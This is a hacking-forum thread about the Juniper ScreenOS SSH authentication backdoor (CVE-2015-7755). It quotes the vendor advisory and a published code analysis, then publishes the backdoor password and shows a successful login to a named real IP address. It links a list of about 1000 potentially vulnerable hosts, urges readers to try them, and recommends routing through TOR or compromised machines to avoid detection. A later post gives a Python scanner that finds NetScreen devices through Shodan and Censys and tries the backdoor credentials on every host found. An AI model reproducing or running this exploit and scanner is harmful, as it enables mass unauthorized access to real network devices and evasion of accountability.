User Controls
ScreenOS Authentication Backdoor, Exploit example & vuln host list. By Sophie.
-
2015-12-21 at 11:27 PM UTCApparently during an internal code review Juniper has identified some security issues with their product, namely a backdoor and a vulnerability that allows an attacker to monitor and decrypt VPN traffic, this is what they had to say about it.
During an internal code review, two security issues were identified.
Administrative Access (CVE-2015-7755) allows unauthorized remote administrative access to the device. Exploitation of this vulnerability can lead to complete compromise of the affected device.
This issue only affects ScreenOS 6.3.0r17 through 6.3.0r20. No other Juniper products or versions of ScreenOS are affected by this issue.
Upon exploitation of this vulnerability, the log file would contain an entry that ‘system’ had logged on followed by password authentication for a username. Example:
Normal login by user username1:
2015-12-17 09:00:00 system warn 00515 Admin user username1 has logged on via SSH from …..
2015-12-17 09:00:00 system warn 00528 SSH: Password authentication successful for admin user ‘username1’ at host …
Compromised login by user username2:
2015-12-17 09:00:00 system warn 00515 Admin user system has logged on via SSH from …..
2015-12-17 09:00:00 system warn 00528 SSH: Password authentication successful for admin user ‘username2’ at host …
Note that a skilled attacker would likely remove these entries from the local log file, thus effectively eliminating any reliable signature that the device had been compromised.
This issue has been assigned CVE-2015-7755.
VPN Decryption (CVE-2015-7756) may allow a knowledgeable attacker who can monitor VPN traffic to decrypt that traffic. It is independent of the first issue.
This issue affects ScreenOS 6.2.0r15 through 6.2.0r18 and 6.3.0r12 through 6.3.0r20. No other Juniper products or versions of ScreenOS are affected by this issue.
There is no way to detect that this vulnerability was exploited.
This issue has been assigned CVE-2015-7756.
Below i have an image of the piece of affected code for the first vulnerability that was described. Which is the most interesting one, since we can get a SSH shell with system privilege this way.
Rapid7's analysis of the issue found that that:Searching for the text "strcmp" finds a static string that is referenced in the sub_ED7D94 function. Looking at the strings output, we can see some interesting string references, including auth_admin_ssh_special and auth_admin_internal. Searching for "auth_admin_internal" finds the sub_13DBEC function. This function has a "strcmp" call that is not present in the 6.3.0r19b firmware: The argument to the strcmp call is [FONT=Calibri]<<< %s(un='%s') = %u[/FONT], which is the backdoor password, and was presumably chosen so that it would be mistaken for one of the many other debug format strings in the code. This password allows an attacker to bypass authentication through SSH and Telnet.
Well then, now we have the backdoor password.
[SIZE=14px][FONT=Calibri]<<< %s(un='%s') = %u
Using a script with my API keys i searched shodan and censys for affected devices, i found a huge list of potentially vulnerable hosts. To exploit simply start a SSH session, define a username like 'root', 'admin' or 'administrator' with the -l option and add the IP adress of the host you are targetting:[/FONT]
[FONT=georgia]$ ssh -l administrator [/FONT][/SIZE][FONT=georgia]24.213.214.22[/FONT]
The authenticity of host '24.213.214.22 (24.213.214.22)' can't be established.
DSA key fingerprint is eb:81:85:ee:bb:c0:cc:54:d3:8f:cd:96:31:a3:d7:25.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '24.213.214.22' (DSA) to the list of known hosts.
administrator@24.213.214.22's password:[SIZE=14px][FONT=Calibri] <<< %s(un='%s') = %u[/FONT][/SIZE]
[FONT=Calibri][SIZE=14px]And you're in as a super user.
The IP adress you see the remote host connecting to is my VPN so while leaving the target AND my VPN IP both in the image may not be the very best thing to do from an OPSEC standpoint. However my VPN does not keep logs, and is based in Germany which has excellent data/privacy protection laws.
If you'd like to try it out i have pasted a list of approximately 1000 potentially vulnerable hosts, for you to try. It's hit and miss, but after 4 tries the 5th was a hit for me at least.[/SIZE][/FONT]
Potentially affected host list http://pastebin.com/8sxyP7cg
[FONT=Calibri]Happy haxxing.[/FONT] -
2015-12-22 at 6:02 AM UTCWhat might be worth considering is that Juniper generally offers high-end networking solutions like among which ScreenOS routers and software defined firewall applications like netscreen to big corporations and possibly federal institutions as well. If you decide to do anything particularly nasty with this i suggest connecting via TOR to an anonymous VPS you're renting or a compromised machine you own as jump box and start your SSH session from there so you don't get vaned.
Also, this thread is 10/10 infosec awesomeness, the simplicity of the exploit in combination with the effects it accomplishes makes this good shit. What's more, i think i delivered ITT, i got background info, the relevant sample of code with a short analysis by Rapid7, i added a 'Proof of Concept' and even provided 1000+ hosts that are potentially vulnerable so that you can get your hack on.
But most of all I hope you at least found my thread informative. -
2015-12-23 at 9:47 PM UTCLooks good to me.
-
2015-12-23 at 11:52 PM UTC
Looks good to me.
Thought it was bretty cool and interesting, thanks for the reply this thread is highly underrated. -
2016-01-16 at 10 PM UTCStill highly underrated. What's funny though is that junipers initial solution to this was to roll back to a previous version of ScreenOS that was not affected by this backdoor instead of properly patching it. I do believe a patch is out now, however, it is likely not everyone who uses this product has patched it, so to make your life easier i will post the script for getting all devices that run this shit below.
#!/usr/bin/python
import os
import sys
import Queue
import threading
try:
import shodan
except:
print "[!] Error importing 'shodan'. Please install it before running this script."
sys.exit(0)
try:
import censys
from censys import *
except:
print "[!] Error importing 'censys'. Please install it before running this script."
sys.exit(0)
try:
import paramiko
except:
print "[!] Error importing 'paramiko'. Please install it before running this script."
sys.exit(0)
# ---- Set defaults ----- #
SHODAN_API_KEY = "YOUR API KEY GOES HERE"
DEFAULT_SHODAN_PAGES = 50 # a page contains 100 results, 1 credit per page
CENSYS_API_ID = "YOUR API KEY GOES HERE"
CENSYS_API_SECRET = "YOUR API SECRET GOES HERE"
DEFAULT_QUERY = "netscreen product:\"NetScreen sshd\""
BACKDOOR_USERNAME = "system"
BACKDOOR_PASSWORD = "<<< %s(un='%s') = %u"
MAX_THREADS = 5
VERBOSE = True
# --- Set globals --- #
queue = Queue.Queue()
def search_shodan(query):
api = shodan.Shodan(SHODAN_API_KEY)
try:
save_results = open("shodan_results.txt", "w")
save_ips = open("shodan_netscreen_ips.txt", "w")
except IOError as err:
print "[!] Error: %s" % err
sys.exit(0)
try:
for i in range(DEFAULT_SHODAN_PAGES):
results = api.search(query, page=i)
t = "[+] Results found for %s: %s\n" % (query, results['total'])
print t
save_results.write(t)
for result in results['matches']:
ip = "%s\n" % result['ip_str']
data = result['data'] + "\n"
save_ips.write(ip)
save_results.write(data)
except shodan.APIError as err:
print "[!] Error: %s" % err
save_results.close()
save_ips.close()
def search_censys(query):
api = censys.ipv4.CensysIPv4(api_id=CENSYS_API_ID, api_secret=CENSYS_API_SECRET)
results = api.search(DEFAULT_QUERY)
try:
save_ips = open("censys_netscreen_ips.txt", "w")
except IOError as err:
print "[!] Error: %s" % err
sys.exit(0)
matches = results['metadata']['count']
pagenum = matches / 100
if matches % 100 != 0:
pagenum += 1
count = 1
while count < pagenum:
results = api.search(DEFAULT_QUERY, page=count)
count += 1
for result in results.get('results'):
ip = result.get("ip")
print ip
save_ips.write(ip + "\n")
save_ips.close()
def connect_to_ssh(host, bd_username, bd_password):
try:
ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(host, username=bd_username, password=bd_password)
print "
[*] Backdoor account found: %s" % host
except paramiko.AuthenticationException as err:
if VERBOSE:
print "[!] Authentication failed to %s" % (host)
except paramiko.SSHException as err:
if VERBOSE:
print "[!] Failed to connect to %s: %s" % (host, err)
except Exception as err:
if VERBOSE:
print "[!] Error connecting to %s: %s" % (host, err)
class ThreadSSHClient(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
host = self.queue.get()
if VERBOSE:
print "[+] Connecting to %s with the backdoor account...\n" % host
connect_to_ssh(host, BACKDOOR_USERNAME, BACKDOOR_PASSWORD)
self.queue.task_done()
def main():
#search_shodan(DEFAULT_QUERY)
search_censys(DEFAULT_QUERY)
for i in range(MAX_THREADS):
worker = ThreadSSHClient(queue)
worker.setDaemon(True)
worker.start()
list_hosts = open("censys_netscreen_ips.txt", "r").read().splitlines()
for line in list_hosts:
queue.put(line)
queue.join()
if __name__ == '__main__':
main()
Note: You will need to get your own API keys and secret from shodan.io and censys.io yourself, because i am keeping my own API keys.